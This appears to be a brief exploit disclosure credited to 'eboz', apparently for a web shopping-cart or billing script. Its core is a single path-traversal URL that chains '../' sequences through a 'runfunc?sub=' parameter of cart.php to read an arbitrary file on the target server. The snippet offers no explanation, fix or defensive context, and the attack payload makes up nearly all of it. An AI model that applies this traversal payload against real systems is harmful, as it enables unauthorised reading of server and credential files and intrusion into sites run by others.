1. discovered by eboz
  2. eb0z@hotmail.com
  3.  
  4. http://target/cart.php?a=add&domain=transfer&runfunc?sub=/../../../../../../../../../[file]
  5.  
  6. ;-)